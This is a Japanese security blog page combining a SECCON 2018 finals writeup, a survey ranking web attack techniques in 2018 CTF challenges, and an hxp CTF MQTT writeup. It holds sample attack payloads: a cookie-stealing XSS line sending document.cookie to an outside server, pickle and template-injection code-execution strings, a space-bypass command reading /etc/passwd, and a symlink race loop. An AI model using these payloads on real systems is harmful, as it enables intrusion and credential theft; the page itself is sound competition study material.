こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON 2018 国際決勝 Writeup

SECCON 2018の国際決勝に出場できたので、そのWriteupを書く。

入力文字列の文字種、文字数、含まれる文字列をチェックして、passfailを返すpythonファイルが計130ファイル配られる。 以下に2つ例示する。

oracle001

#!/usr/bin/python

def IsAsciiLetters(s):
    import string
    # test = string.ascii_letters + string.digits
    test = string.ascii_uppercase
    for x in s:
        if not x in test:
            return False
    return True

def Length(s):
    return len(s)

def Contains(s, substr):
    return substr in s

def SubString(s, offset, length):
    return s[offset:(offset+length)]

def IndexOf(s, substr, offset):
    return s[offset:].find(substr)

def Concat(*args):
    return ''.join(args)

def check(s):
    if IsAsciiLetters(s):
        
        if not Length(s) == 16:
            return False
        else:
            
            if False:
                return False
            else:
                
                if False:
                    return False
                else:
                    return True
    else:
        return False

if __name__ == '__main__':
    import sys
    if check(sys.argv[1]):
        print("pass")
    else:
        print("fail")

oracle130

(oracle001と同じのため省略)
def check(s):
    if IsAsciiLetters(s):
        
        if (not Length(s) > 2 + 14) or (not Length(s) < 20 - 2) :
            return False
        else:
            s1 = SubString(s, 0, 1); s2 = SubString(s, 1, 15); s = Concat(s1, s2)
            if Contains(s, "BK"):
                
                if Contains(s, "ALMZDHWD"):
                    
                    if IndexOf(s, "CNBVSTGR", 0) >= 4:
                        return True
                    else:
                        return Contains(s, "WDLOQAVU")
                else:
                    
                    if Contains(s, "OSPVHMBK"):
                        return Contains(s, "VFGQYZST")
                    else:
                        return Contains(s, "EWNAMBYO")
            else:
                
                if Contains(s, "RC"):
                    
                    if Contains(s, "RLNMSHQB"):
                        return Contains(s, "LIKTZURC")
                    else:
                        return Contains(s, "IARYTEZB")
                else:
                    
                    if Contains(s, "IJBRPHQJ"):
                        return Contains(s, "BIVROLQH")
                    else:
                        return False
    else:
        return False
(oracle001と同じのため省略)

Attack Pointsは、passを返す文字列を作成して、API経由で投入すればフラグが得られる。10ファイル、40ファイル、40ファイル、40ファイルの4セットに分かれており、各セットをクリアするとそれぞれのフラグが得られる。

最初の14ファイルはパターン化できなかったが、それ以降はパターン(if/elseの組み方)がほぼ同じ。特定の行の処理を抜き出すだけで、8割~9割くらいはpassする文字列を作成できた。例えば、上記のoracle130を例にとると、

if (not Length(s) > 2 + 14) or (not Length(s) < 20 - 2) :
if Contains(s, "BK"):
return Contains(s, "EWNAMBYO")

を抜き出せば、BKEWNAMBYOAAAAAAAを入力すればpassすることがわかる。後ろのAAAAAAAはパディング文字列。

特定行の抜き出し、入力文字列候補の生成、実行を行うスクリプトを作成し、たまにfailするやつは目検で確認して補正してクリアした。

Defense Pointsは、反対にpassする文字列を検知するyaraルールを作成するゲーム。yaraルールをAPI経由で登録すると、サーバ内部で各oracleへ攻撃処理を実行しyaraルールを評価するようで、その検知数がトップのチームにポイントが与えれる。failが表示される文字列を検知したらアウト。各ファイルから自動でyaraルールを作成するスクリプトを作成した。

ただ、ここで(本質的ではない)問題に悩まされる。

5分ごとに各チームが登録したyaraルールが評価されるが、評価結果はトップの検知数しか表示されない。つまり、トップ以外は、自分が登録したyaraルールが何件検知できたのかわからない。というか競技時間中は、そもそも、このルールの解釈やyaraルールの書き方やタグ名が合っているかどうかも確証が持てず右往左往した。競技後に、トップの検知数をキープしていたTSGのすらいむさん(@taiyoslime)に聞いたところ、どうやらルールの解釈は合っていたことがわかった(すらいむさん、ありがとうございます)が、時すでに遅し。

yaraルールを作成するという意味では、本競技の中で数少ないセキュリティに関する問題であり、その点は良かった。ただ、上記のとおり、自身の結果を確認する術がない点で、後から参入が困難であり、課題のある問題だったように感じた。

1280x800の画像をアップロードすると、サーバ内のお手本となる画像(非公開)と比較して、その比較結果を返してくる。

Attack Pointsは、類似度が一定の割合ごとにフラグが得られる。

Defense Pointsは、類似度がトップのチームにのみ与えられる。

とりあえず、単色画像を投入して様子を見ようと、以下のスクリプトで試してみた。

import requests
from PIL import Image

width = 1280
height = 800
img = Image.new('RGB', (width, height))

for color in range(0, 255):
    for y in range(height):
        for x in range(width):
            img.putpixel((x, y), (color, color, color))

    img.save('test.png', quality=100)
    print(color)
    url = 'http://172.24.0.12/'
    file = {'photo': open('test.png', 'rb')}
    res = requests.post(url, files=file)
    print(res.text)

なんと、このスクリプトで、color=40のときに、Attack Pointsを全て得られる、高い類似度を叩き出してしまった。1日目の13時くらいに実行していたと記憶している。2時間ごとに比較方法が変わるルールであったが、このタイミングの比較方法と単色画像とがうまくマッチしてしまったのだろうか。

なお、それ以降は特にDefense Pointsも取れず。

チームのバイナリ班が担当していたため割愛。

Defence Pointsのルールが明記されておらず、そもそも何をしてよいかわからなかった模様。

チームのバイナリ班が担当していたため割愛。

Attack Pointsは全て取れていた。

問題は計7つ。
全て実行ファイルのソースコードが公開されている。特定の条件でフラグを出力する仕様である。

サーバにsshでログインし、色々な引数や方法で実行してフラグを出力させる。

Attack Pointsは、7つクリアしたら得られる。
Defense Pointsは、フラグ名のファイルを作って他チームと7回じゃんけん。説明が面倒なので割愛。

各実行ファイルのユーザとパーミッションは以下の通り。

---x--s--x 1 root 1001 8544 12月 16 14:10 Q1
---x--s--x 1 root 1002 8544 12月 16 14:10 Q2
-rwxr-x--- 1 root 1003 8440 12月 16 14:10 Q3
---x--s--x 1 root 1004 8544 12月 16 14:10 Q4
---x--s--x 1 root 1005 8552 12月 16 14:10 Q5
---x--s--x 1 root 1006 8792 12月 16 14:10 Q6
---x--s--x 1 root 1007 8680 12月 16 14:10 Q7
----r-x--- 1 root 1001  321 12月 16 14:10 q1.py
----r-x--- 1 root 1002  134 12月 13 12:10 q2.py
----r----- 1 root 1002   49 12月 16 14:10 q2.txt
----r-x--- 1 root 1004  498 12月 16 14:10 q4.pl

以下、ソースコードと解法。自分が解いたのはQuiz 5のみ。

Quiz 1: Get an exception message.

/seccon2018/Q1/seccon2018/q1.py
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (setgid(1001) || chdir("/seccon2018"))
        return 1;
    argv[0] = "q1.py";
    execve(argv[0], argv, (void *) 0);
    return 1;
}
#!/usr/bin/python3
import sys, os, stat

for file in sys.argv[1:]:
    try:
        sb = os.lstat(file)
    except:
        continue
    if not stat.S_ISREG(sb.st_mode):
        continue
    try:
        print('%s %s' % (file, sb.st_size))
    except:
        sys.exit("ANSWER{ANSWER_COMES_HERE}")

引数をたくさん指定して実行し、途中でCtrl + Cで止めたらフラグが出る。

Quiz 2: Read the readable file.

/seccon2018/Q2/seccon2018/q2.py
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (setgid(1002) || chdir("/seccon2018"))
        return 1;
    argv[0] = "q2.py";
    execv(argv[0], argv);
    return 1;
}
#!/usr/bin/python2
import sys, os

file = sys.argv[1]
if os.stat(file).st_gid != os.getegid():
    print(open(file, 'rb').read(1024))

gidチェック処理とread処理の間で、シンボリックのリンク先を変える。

$ echo hoge>a; while : ; do ln -sf a b ; ln -sf /seccon2018/q2.txt b ; done

Quiz 3: Read the standard output message.

/seccon2018/Q3
#include <stdio.h>

int main(int argc, char *argv[])
{
    printf("ANSWER{" ANSWER_COMES_HERE "}\n");
    return 0;
}

SGIDがついているファイルがあり、ライブラリかと思ったらそのまま実行できる。

$ find / \( -gid 1003 \) -ls 2>/dev/null
1080042  160 -rwxr-sr-x   1 root     1003       163400 10月 30 17:20 /usr/local/lib64/ld-linux-x86-64.so.2
1080962   12 -rwxr-x---   1 root     1003         8440 12月 16 14:10 /seccon2018/Q3
$ /usr/local/lib64/ld-linux-x86-64.so.2 /seccon2018/Q3

Quiz 4: Is this a bug?

/seccon2018/Q4/seccon2018/q4.pl
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (setgid(1004) || chdir("/seccon2018"))
        return 1;
    argv[0] = "q4.pl";
    execve(argv[0], argv, (void *) 0);
    return 1;
}
#!/usr/bin/perl
use utf8;
use strict;
use File::stat;
use Fcntl qw (S_ISREG);
my @array = ( );
my $total = 0;

foreach my $file (@ARGV) {
    my $sb = lstat($file) || next;
    next unless (S_ISREG($sb->mode) && $sb->size);
    printf("%s %s\n", $file, $sb->size);
    $total += $sb->size;
    push(@array, $sb->size);
}

foreach my $size (@array) { $total -= $size; }

if ($total == -1234) {
    printf("ANSWER{ANSWER_COMES_HERE}\n");
} else {
    printf("%s\n", $total);
}

メンバーに解法を聞かなかった・・・。

Quiz 5: A limitation as of this Linux kernel version.

/seccon2018/Q5
#include <stdio.h>
#include <errno.h>
#include <sys/sendfile.h>

int main(int argc, char *argv[])
{
    while (sendfile(3, 0, NULL, 1024 * 1024 * 1024) > 0);
    if (errno == EFBIG)
        printf("ANSWER{" ANSWER_COMES_HERE "}\n");
    return 0;
}

実はドハマりした問題。メンバー総出で相当時間をかけてしまい、2日目のチームの失速はこれが原因の1つだった。
スパースファイルなるものがあるとメンバーに聞き、ググって色々試したところ、以下の手順でフラグが出た。

$ echo -n 1 > 1byte
$ dd if=1byte of=sparse-file bs=7000000000 count=1 seek=1 conv=notrunc
$ /seccon2018/Q5 < sparse-file 3>&1 2>&1

参考:Sparse File (スパースファイル) の仕組み

Quiz 6: Get the signal handler message.

/seccon2018/Q6
#include <stdio.h>
#include <unistd.h>
#include <signal.h>

static void sighandler(int sig){
    printf("ANSWER{" ANSWER_COMES_HERE "}\n");
    _exit(1);
}

int main(int argc, char *argv[])
{
    unsigned long size;
    unsigned long total = 0;
    unsigned short count = 0;
    signal(SIGFPE, sighandler);
    if (setgid(1006) || chdir("/seccon2018"))
        return 1;
    while (scanf("%lu", &size) == 1) {
        total += size;
        count++;
    }
    if (total)
        total /= count;
    printf("Average: %lu\n", total);
    return 0;
}

以下のコマンドでフラグが出た。

$ perl -e 'map { print "1\n"; } (0..0xffff);' | /seccon2018/Q6

Quiz 7: Keep winning the stone-scissors-paper games.

/seccon2018/Q7
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

int main(int argc, char *argv[])
{
    const char *names[3] = { "stone", "scissors", "paper" };
    int i;
    unsigned int player = 0;
    unsigned int computer = 0;
    srand(time(NULL));
    for (i = 0; i < 8; i++) {
        printf("0=%s 1=%s 2=%s >", names[0], names[1], names[2]);
        if (scanf("%u", &player) != 1 || player > 2)
            return 1;
        computer = rand() % 3;
        printf("You=%s Me=%s\n", names[player], names[computer]);
        if (computer != (player + 1) % 3)
            return 1;
    }
    printf("ANSWER{" ANSWER_COMES_HERE "}\n");
    return 0;
}

メンバーに解法を聞かなかった・・・。

アセンブラゴルフ。

Attack Pointsは無し。
Defense Pointsは、一番小さいファイルサイズの実行ファイルを投稿したらポイントを得られる。

1日目にメンバーが挑戦していたが、すぐにレベルの高い投稿があり、早々に諦めた。

所感

・だるま型の入場パスは新鮮。

・CTFの決勝大会は個人的には初参加であり、非常に楽しめた。ワイワイやるのいいね。1日目の終了後の作戦会議は非常に重要。

・ただ、決勝大会に出場すると、(当たり前だが)SECCONの他の催し物に参加できないのはネック。バグバウンティーとか法律の話とか聞きたかった。

・セキュリティ要素が薄いパズルっぽい問題が多かった印象。Web問がなかったのは残念。

・懇親会でアルコール無しなのは地味にダメージを受けた。そんな懇親会あるんだ・・・。
 学生重視の大会ぽいので、やむなし?

・でも来年も出たい。

【2018年】CTF Web問題のwriteupぜんぶ読む

CTF Advent Calendar 2018 - Adventarの16日目の記事です。

15日目は@_N4NU_さんの「どのCTFに出たらいいか分からない人のためのCTF一覧 (2018年版) - WTF!?」でした。


はじめに

なにごとも振り返りと復習が大事です。

まだ年末まで半月ほどありますが、Advent Calendarに合わせて、一足早く2018年のCTFイベントで出題された問題を振り返ります。Web問題を対象にwriteupを全部読んで、使用された攻撃手法を集計してランク付けするとともに、各攻撃手法を使用したwriteupをピックアップして紹介していきます。

CTFイベントに参戦した人は「あー、そんな問題あったねー」と振り返って頂ければと思いますし、未参戦の人は「へぇ、そんな攻撃手法あるんだなぁー」と感じて頂ければと思います。

集計対象

集計対象のイベントと問題は以下のとおりです。

  • 2018年1月1日~12月15日(本記事の執筆時点)までに開催されたイベントであること。
  • Online開催であること。
  • Jeopardy形式であること。
  • Web問題であること。

集計元データには、CTFTimeのArchiveおよび自チームで記録しているデータを使用しました。
ctftime.org

「Web問題」の判定にはCTFTimeのTagsとイベント公式ページのカテゴリを参考にしました。

サマリ

まずはCTFイベントと問題の合計です。

CTFイベント数

95イベント
(2018年12月15日現在。年内は残りX-MAS CTF 2018と35C3 CTFの2イベントのみ。)

Web問題数

366問

実は週2回のペースでイベントがあるんですね。
全てに参加しようとすると、ほぼ毎週末つぶれますね、はい。


次に、CTFTimeにwriteupが公開された問題数です。

Writeup公開数

310問 (全Web問題数の84.7%)

つまり、8割以上はwriteupが公開されるため、イベント期間中に自分で解けなくても大部分は復習できるということがわかります。但し、難問はそもそもの解答チームが少なくwriteupが公開されない確率も高いため、本当に知りたい難問のwriteupが無いケースが多いです。また、Web問題はwriteupが出る頃には出題サイトがクローズしているため、writeupを読むだけの机上確認しかできないことが多いです。

なお、私が解いた問題は、イベント終了後の数時間以内に当Blogでwriteupを公開していますので、出題サイトのクローズ前に復習することができます。writeup公開時にtwitterでも案内しています。(宣伝)

twitter.com

使用された攻撃手法ランキング

各問題のwriteupに出現した攻撃手法をカウントして作成したランキングです。
機械的な集計方法がないため、タイトルの通り310問のwriteupを全て読んで集計しました
はい、想像以上にしんどかったです。

では、ランキングはこちら。

順位 攻撃手法 出題問題数
1位 SQL Injection 44問
2位 Remote Code Execution 34問
3位 Cross Site Scripting 25問
4位 OS Command Injection 19問
4位 Server Side Request Forgery 19問
6位 Local/Remote File Inclusion 17問
7位 Insecure Deserialization 12問
8位 Server-Side Template Injection 10問
9位 Directory Traversal 9問
10位 Prototype Pollution Attack 6問
10位 Race Condition 6問
12位 XML External Entity 5問
12位 Directory Brute-Force Attack 5問
14位 CSS Injection 4問
15位 Hash length extension attack 3問
16位 LDAP Injection 2問

1つの問題に対して複数の攻撃手法を使用している場合は複数回カウントしています。また、どれにも該当していない場合は特にカウントしていません。(よって、合算しても全問題数に一致しません。)


次に、攻撃手法の説明および出題傾向の解説と、実際に出題された問題のwriteupを紹介していきます。
なお、10位の紹介を割愛していますが、自分でろくに解けておらず書けることがなかったため、とりやめました。

1位:SQL Injection (SQLi)【44問】

納得の1位です。特に説明は不要ですね。問題数が多かった理由として、作問しやすく環境も作りやすいという理由もあるかと思います。Warmup問題や学生向けイベントの問題にも多く出題されており、' or 1=1 #でクリアできるような単純な問題も多かったです。

3つの攻撃手法をピックアップして紹介します。

1. Blind SQL Injection

Blind SQL Injectionを使用する問題は10問ありました。 応答データから成否を判断して文字列を特定していく問題が大多数でしたが、SECCONのオンライン予選の問題では応答時間から判断するTime Based SQL Injectionを使用しました。 手動で1文字ずつ確認していくのは非常に手間であるため、コード作成が必要です。 出題数も多く使用する機会も多いためコードをテンプレート化して準備しておくと良いかと思います。

当Blogでもwriteupを公開しています。

普通のSQL Injection(ブラックリスト回避あり)
Time-Based Blind SQL Injection

2. NoSQL Injection

SQL Injectionのカテゴリに入れてよいか悩みましたが、NoSQLデータベースに対するSQL? Injectionです。

MongoDB、Redis、ArangoDBの問題が出題されました。使用されている言語は、MongoDBはBSON、RedisはLUA Script、ArangoDBはArangoDB Query Languageらしいです。ArangoDB Query Languageは初めて聞きました。 知らない言語や文法であっても、その場でリファレンスを読んで頑張る力が求められます。

MongoDB
Redis
ArangoDB

3. スペースを使用しないSQL Injection

SQL Injectionの脆弱性がある項目を見つけたのに、半角スペースが禁止されている!どうしよう!」という時にバイパスする手法です。
例えば、select foo from baaselect(foo)from(baa)で書き直せます。

実は昔から知られている手法だったようです。こちらの記事でまとめられていました。

2位:Remote Code Execution (RCE)【34問】

PHPファイル等の実行ファイルをサーバ内に作成またはアップロードする問題、eval等の文字列をコードとして評価する関数に入力文字列を通す問題、Insecure Deserializationとの合わせ技の問題、ソフトウェアの既知の脆弱性を利用した問題など、数多くのパターンがありました。Insecure Deserializationは後述します。

サーバ側でPHPファイルを作成させて実行する問題の中から1問紹介します。 この問題は、英数字が禁止されているため、記号だけでPHPファイルを作成しなければいけないという制約を、あるトリッキーな手法でバイパスしています。

3位:Cross Site Scripting (XSS)【25問】

よくあるdocument.href = "http://myserver/" + document.cookieをするだけといった問題は少なかったように感じます。 CSPによる制約を回避することが肝である問題が多かったです。

4つの攻撃手法をピックアップして紹介します。

1. 画像ファイルへスクリプト埋め込み

XSS脆弱性を発見したけれどContent-Security-Policy(CSP)によるSame-Origin Policyの制約のため、スクリプト実行ができない!」という時に、画像ファイルをアップロードする機能があれば、この攻撃手法を疑った方がよいです。スクリプトを埋め込んだ画像ファイルを同一サーバにアップロードすることで、Same-Origin Policyの制約を回避してスクリプトを実行させる手法です。

当Blogでもwriteupを公開しています。

2. Service Workerの利用

Service Workerを用いた攻撃手法の説明は、こちらの@kinugawamasato氏による説明資料を参照ください。
speakerdeck.com

出題された問題は以下の1問です。同じく@kinugawamasato氏によるwriteupです。
個人的には今年のWeb問題の中でトップレベルの良問と思っています。

3. Cache Poisoning

攻撃者サーバ(自サーバ)に配置したスクリプトファイルをCDNにキャッシュさせて、管理者に踏ませる手法です。 「CTFでCache Poisoningが出題できるんだ!」と感心しました。

4. AMPコンポーネントの利用

AMP(Accelerated Mobile Pages)とは、モバイル端末でウェブページを高速表示するフレームワークですが、そのAMPのコンポーネントを使用したXSSで管理者からCookieを窃取する手法です。AMP自体知らなかったため、その場でリファレンスを読んで頑張る力が求められました。

4位:OS Command Injection 【19問】

backtick記号でOS Commandを括るだけで実行できたり、Rubyの場合は| OS Commandで実行できたりと、単純な問題も多かったです。 2014年に話題となったShellShockの問題も出題されました、油断ならないですね。
他、ソフトウェアの既知の脆弱性を利用した問題もいくつか出題されています。

2つの攻撃手法をピックアップして紹介します。

1. スペースを使用しないOS Command Injection

「OS Command Injectionの脆弱性がある項目を見つけたのに、半角スペースが禁止されている!どうしよう!」という時にバイパスする手法です。

$IFS$()を使用します。$IFSがスペースの代わりです。$()$IFSと直後の文字を分離するときに使用します。何言っているかわかりませんね、以下が例です。

# $IFSの直後の文字が/や-の場合は問題ない
root@kali:/# ls$IFS/etc/passwd
/etc/passwd

# $IFSの直後の文字を巻き込んで変数名として認識されエラーとなってしまった
root@kali:/# ls$IFSetc/passwd
bash: ls/passwd: No such file or directory

# 空の実行コマンドである$()を挟めば解決
root@kali:/# ls$IFS$()etc/passwd
etc/passwd

2. Latex Injection

珍しいInjectionの紹介です。Latexでも油断できません。

4位:Server Side Request Forgery(SSRF) 【19問】

先日、徳丸先生が解説記事を執筆されていたSSRFです。
blog.tokumaru.org

実は今年のCTFでは、SSRFを使用する問題が多数ありました。

3つの攻撃手法をピックアップして紹介します。

1. AWS CLIへのアクセス

AWSのEC2インスタンスからhttp://169.254.169.254/にアクセスすることで、インスタンス情報が取得できます。詳しくは臼田氏による説明資料を参照ください。
speakerdeck.com

DNSのRace Conditionを利用してSSRFを引き起こし、AWSインスタンス情報を窃取する問題が1問出題されました。良問だったと思います。

2. gopherを使用したMySQL接続

なんと、curlMySqlへ接続してSQLを実行できるのです。接続にはgopherプロトコルを使用します。gopher://mysqlサーバ/のURLを叩くイメージです。よって、curlで内部ネットワークに接続可能なSSRF脆弱性があれば、外部から内部ネットワーク内のDBを参照できてしまいます。この手法を最初に見た時には非常に驚きました。

どうやら簡単に実行可能なGopherusというツールもでているようです。(まだ試せていないです。)
github.com

送信データを手作りした例
Gopherusを使用した例

3. Docker/Kubernetesの呼び出し

SSRFの脆弱性を突いて、DockerやKubernetesを操作する問題が出題されていました。 Dockerは/var/run/docker.sockを使用して操作、Kubernetesはkubeletというエージェントが使用しているポートを使用して操作する解法でした。

Docker
  • Real World CTF 2018 Quals - PrintMD
    crblog
Kubernetes

6位:Local/Remote File Inclusion【17問】

Remote File Inclusionは1問だけで、Local File Inclutionばかりでした。PHPストリームラッパーを使用する問題が多かったです。

3つの攻撃手法をピックアップして紹介します。

1. PHPセッションファイルの利用

PHPのセッションファイルが/var/lib/php/sessions/に格納されていることを利用して、攻撃コード等をセッションにセットした上で、LFIでセッションファイルをincludeさせる攻撃です。

2. PHPストリームフィルタによるファイルチェックの回避

サーバ側でロードしたファイルが期待通りのファイル形式かチェックしている場合に、PHPストリームフィルタでデータを改変しチェックを回避する手法です。

例えば、flag{から始まるテキストファイルをロードしたいけれど、サーバ側でロードするファイルが画像ファイルかどうかチェックしている場合があるとします。 iconvフィルタで間違った文字コード変換をすることでデータを改ざんし、画像ファイルと誤認させることができます。

以下が例です。flag{This_is_FLAG}という文字列のテキストファイルを、IBM1154の文字コードからUTF-32BEの文字コードに変換することで、wbmpファイルと誤認させることができました。

php > echo file_get_contents("flag.txt");
flag{This_is_FLAG}
php > $data=getimagesize("php://filter/convert.iconv.IBM1154.UTF-32BE/resource=flag.txt");
php > var_dump($data);
array(5) {
  [0]=>
  int(4)
  [1]=>
  int(6)
  [2]=>
  int(15)
  [3]=>
  string(20) "width="4" height="6""
  ["mime"]=>
  string(18) "image/vnd.wap.wbmp"
}

これを応用し、フィルタを複数重ねることで変換後のデータ内容をある程度自由にコントロールできます。ただ、狙ったデータにするには試行錯誤が必要になりそうです。

iconvフィルタを使用した例
複数のフィルタを重ね掛けして、PHPセッションファイルからPHPコードに変換した例

3. Log Injection

クエリやUserAgentやRefererに攻撃コード等をセットしてリクエストし、攻撃コードをアクセスログに記録させたうえで、LFIでアクセスログファイルをincludeさせる攻撃です。

7位:Insecure Deserialization【12問】

2017年のOWASP Top10に新たに追加された「安全でないデシリアライゼーション」です。

2つの攻撃手法をピックアップして紹介します。

1. PHPGGCの使用

PHPGGCは、unserializeをトリガーに任意コードをを実行できる強力なガジェットです。
JavaのysoserialのPHP版とイメージすれば良さそうです。

github.com

3つの問題で使用されていました。

2. Pickle RCEの使用

pythonのPickleモジュールを使用して外部入力データのデシリアライズ処理をしている場合に任意コードを実行できる手法です。 以下、簡単な例です。

root@kali:~# python
Python 3.6.6 (default, Jun 27 2018, 14:44:17) 
[GCC 8.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'id'\ntR.")
uid=0(root) gid=0(root) groups=0(root)
0

2つの問題で使用されていました。

8位:Server-Side Template Injection(SSTI)【10問】

DjangoやJinja2などのテンプレートエンジンを使用して実装されたコードの脆弱性を突いて、任意コードの実行や変数参照を行う手法です。 例えば、flask.render_template_string(param)といったコードがあり、任意の外部入力データをparam変数にセット可能とします。 param変数に{{url_for.__globals__.__getitem__('os').system('id')}}をセットすることで、idコマンドが実行できてしまいます。

ただ、便利なモジュールや変数をそのまま使用できないようブラックリストによる入力文字列チェックを突破することが肝である問題が多かったです。 代表してチェックが厳しめな問題を紹介します。

9位:Directory Traversal 【9問】

LFIとセットで出題されていたり、Warmup的な問題が多かったです。その中でDirectory Traversalを使用してファイルを書き込んで解くという珍しい問題があったので紹介します。Directory TraversalでOSユーザの.bashrcを書き換えて、ログイン時に任意のコマンドを実行させるという手法でした。

12位:XML External Entity(XEE) 【5問】

こちらも2017年のOWASP Top10に新たに追加されました。 できることが限られているからか、特にトリッキーな利用例は無かったと思います。

12位:Directory Brute-Force Attack 【5問】

niktoやdirb等のツールで、URLのパス名のBlute-Forceをかけて有用なリソースがあるか確認する攻撃手法です。 CTFにおいてはルールで禁止されている場合が多いです。

ツールによるBlute-Forceが必要なパス名と解釈するか、常識的に確認すべきパス名と解釈するか(例えばrobots.txtは必ずチェックしますよね)、 個人差や程度問題はありますが、ツール使用が必要であると私が判断したものとして以下のパス名を探し当てる問題がありました。

  • /.git
  • /accounts.xml
  • /.htpasswd
  • /secret/

/.gitは、もはやノーヒントでも常識的に確認すべきパス名なのかもしれません。

なお、robots.txtにヒントまたはフラグが記載されている問題は計12問ありました。Writeup公開済み問題数の約3.9%ですね。

14位:CSS Injection 【4問】

CSS Injectionの説明は、こちらの@lmt_swallow氏による説明資料を参照ください。
speakerdeck.com

出題数は4問だけでしたが、Google CTF、SECCONで出題されており、定期的に出題されることが予想されます。 すぐに実行できるよう、攻撃スクリプトのテンプレートを用意しておきたいですね。

15位:Hash length extension attack 【3問】

Hash length extension attackと、使用するツールであるHashPumpの説明はこちらを参照ください。
CTF/Toolkit/HashPump - 電気通信大学MMA

意外に3問もありました。saltを先頭につけてハッシュ計算している処理がある場合に、この手法の使用を疑った方がよいかもしれません。

16位:LDAP Injection 【2問】

SQL InjectionのLDAP(Lightweight Directory Access Protocol)版です。

payload集もあります。
github.com

項目名がノーヒントだとしても、LDAPで使用されている代表的なオブジェクトクラスの属性名を調べて試す必要がありました。

番外編:ソフトウェアの既知の脆弱性を利用した攻撃

Web問題に挑戦していて手詰りになると、ソフトウェアの既知の脆弱性を疑い始めます。(ただ、大概、空振りに終わります。)

そこで、既知の脆弱性を利用した攻撃を使う問題はどの程度あるか調べてみたところ、計16問 (Writeup公開済み問題数の5.2%)でした。思ったより多いです。バナー情報や出題者から公開されているリポジトリ情報から、ソフトウェアのバージョン番号がわかる場合は、既知の脆弱性を使用する問題か疑った方がよいかもしれません。

なお、対象のソフトウェアは以下の通りです。

まとめ

実は、最初に集計方法や観点をあまり考えずに読み始め、途中でBlog記事に落とし込むにあたり必要となる情報が変わったため、結果、2周(310問×2回)読みました。きつかった。土日が2回潰れた感ある。こういうのは、各イベントの開催直後に随時まとめていく方がよいかなと思いますが、開催の数か月後にwriteupが公開されることもあるため、それもまた微妙です。覚悟を決めて一括で年末にやるしかないのか。

さて、まとめてみると、結構、過去に出た同じ解法を軸とした問題が多いことに気付きました。過去問だいじ。また、類似問題のwriteupにすぐにアクセス可能なデータ収集ができたため、今後のCTFイベントで活用していきたいと思います。 差し当たり、SECCON国際決勝を頑張ります。


明日のCTF Advent Calendar 2018 - Adventarは@icchyさんです。

hxp CTF 2018 Writeup - time for h4x0rpsch0rr?

問題文

Finally a use case for those internet tingies!
Connection:

http://159.69.212.240:8001/f:id:graneed:20181209111400p:plain

writeup

フッターに、/admin.phpへのリンクがある。
/admin.phpには、User、Password、OTPの入力項目。
OTPはOne Time Passwordの意味だろうか。
SQLiの脆弱性は無さそう。

トップに戻って機能を確認すると、MQTT over websocketで通信をしていることがわかる。

<script src="mqtt.min.js"></script>
<script>
  var client = mqtt.connect('ws://' + location.hostname + ':60805')
  client.subscribe('hxp.io/temperature/Munich')

  client.on('message', function (topic, payload) {
    var temp = parseFloat(payload)
    var result = 'NO'

    /* secret formular, please no steal*/
    if (-273.15 <= temp && temp < Infinity) {
      result = 'YES'
    }
    document.getElementById('beer').innerText = result
  })
</script>

以下ページを参考に、pythonでMQTTの通信プログラムを作る。

IoT時代のプログラミング(主にMQTTについて) - Qiita

MQTT over websocket in python - Stack Overflow

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, respons_code):
  print('connected')
  client.subscribe('hxp.io/temperature/Munich')

def on_message(client, userdata, msg):
  print(msg.topic + ' ' + str(msg.payload))

client = mqtt.Client(transport="websockets")
client.on_connect = on_connect
client.on_message = on_message
client.connect('159.69.212.240', 60805, keepalive=60)
client.loop_forever()

実行する。

# python sub1.py 
connected
hxp.io/temperature/Munich b'13.37'
hxp.io/temperature/Munich b'13.37'
・
・
・

疎通できた。

次に、どういったtopicが配信されているか確認する。

mosquitto - How do I subscribe to all topics of a MQTT broker - Stack Overflow

subscribe関数の引数に#を指定すると、全てのtopicを受信できるようだ。

しかし、hxp.io/temperature/Munich以外、特にtopicを受信できない。

Googleで調べると、$SYSなどの$で始まるtopicは、#の指定では受信できないようだ。 よって、subscribe関数の引数に$SYS/#を指定して再実行する。

# python sub3.py 
connected
$SYS/broker/version b'mosquitto version 1.4.10'
$SYS/broker/timestamp b'Wed, 17 Oct 2018 19:03:03 +0200'
$SYS/broker/uptime b'120032 seconds'
(snip)
$SYS/broker/load/connections/1min b'15.65'
$SYS/broker/load/connections/5min b'14.97'
$SYS/broker/load/connections/15min b'16.50'
$SYS/broker/log/M/subscribe b'1544300880: 8dfc1754-7bc9-4f54-941c-87301580522a 0 $SYS/#'
$SYS/broker/log/M/subscribe b'1544300881: db7d1b52-8f48-4ae9-aeb2-89e716b327ff 0 $internal/admin/webcam'

$internal/admin/webcamという興味深いtopicを発見。 試しに受信してみると、JPGファイルのバイナリのようなデータを受信した。

ファイルに出力してみる。

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, respons_code):
  print('connected')
  client.subscribe('$internal/admin/webcam')

def on_message(client, userdata, msg):
  print("message receive")
  f=open("webcam.jpg","wb")
  f.write(msg.payload)
  f.close()

client = mqtt.Client(transport="websockets")
client.on_connect = on_connect
client.on_message = on_message
client.connect('159.69.212.240', 60805, keepalive=60)
client.loop_forever()
# python sub4.py 
connected
message receive
message receive
・
・

f:id:graneed:20181209112021j:plain

Username、PasswordとRSA SecurIDハードトークンの画像。
/admin.phpにログインするとフラグをゲット。

hxp{Air gap your beers :| - Prost!}